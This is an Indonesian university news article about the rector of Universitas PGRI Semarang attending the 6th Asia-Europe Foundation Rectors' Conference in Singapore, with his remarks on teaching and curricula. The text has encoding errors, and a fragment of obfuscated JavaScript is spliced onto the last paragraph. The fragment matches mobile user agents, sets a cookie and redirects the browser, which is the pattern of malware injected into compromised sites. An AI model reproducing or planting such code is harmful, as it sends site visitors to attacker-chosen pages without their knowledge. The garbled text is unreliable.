UPGRIS diundangAi??“6 th Asia-Europe Foundation (ASEF) Rectors’ Conference di Singapura
Sebuah peradaban bangsa dimulai dari pendidikan. Pertumbuhan tekhnologi yang pesat menjadikan masyarakat terus mempersiapkan diri dengan pendidikan yang memadai. Upaya pendidikan softskill dan hardskill terus dikembangkan bersinergi dengan visi misi Universitas PGRI Semarang (UPGRIS). Baru-baru ini diselenggarakan “6th Asia-Europe Foundation (Asef) Rectors’ Conference, (10-13/10) di Singapura. Turut hadir Rektor UPGRIS, Wakil Rektor I bidang Akademik, serta Kasubag Kerjasama dan Hubungan Internasional UPGRIS hadir ” 6th Asia-Europe Foundation (Asef) Rectors’ Conference.
Satu-satunya PTS di Indonesia
UPGRIS menjadi diantara 6 Perguruan Tinggi (PT)Ai?? ITB, UI, UGM, UNAIR, ITS, yang hadir bersama 110 PT Asia dan Eropa dalam acara besar Conferensi PT Asia Eropa “6th Asia-Europe Foundation (ASEF) Rectors’ Conference di Singapura. Banyak hal menarik, didiskusikan termasuk bagaimana PT menghadapi perkembangan ke depan, disamping hal-hal penting lainnya.
Rektor UPGRIS Dr Muhdi SH MHumAi?? berdiskusi yang menarik serta mengisnpirasi dengan narasumber dari perguruan tinggi terkemuka Dunia. Ai??Industri besar dan UNESCO terutama yang terkait bagaimana Perguruan Tinggi menghadapi tantangan kedepan muncul beberapa pemikiran. ai???Perguruan tinggi harus melakukan pendekatan holistik dan jangan bergantung pada tuntutan industri. Perguruan tinggi harus merancang dan menggiring pengguna serta menekankan proses dan output. Perguruan tinggi dituntut terus mengembangkan model pembelajaran. Proses belajar mengajar harus mampu mengajarkan anak belajar secara mandiri. Mahasiswa dapat memanfaatkan informasi dan mengolah informasi serta menekankan pada kemampuan adaptasi karena pengguna atau stakeholder yang berbeda-beda,ai??? terang Muhdi.
Serta sangat bergantung pada keadaan, perubahan kurikulum penting tapi paling penting dosen atau gurunya. Penggunaan teknologi penting tapi yang lebih penting adalah kolaborasi dan interaksi. Perguruan tinggi sangat bergantung pada bagaimana dosennya. Dosen yang selalu diingat mahasiswa adalah yang menginspirasi, banyak bercerita yang dapat membangun cita-cita. | )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}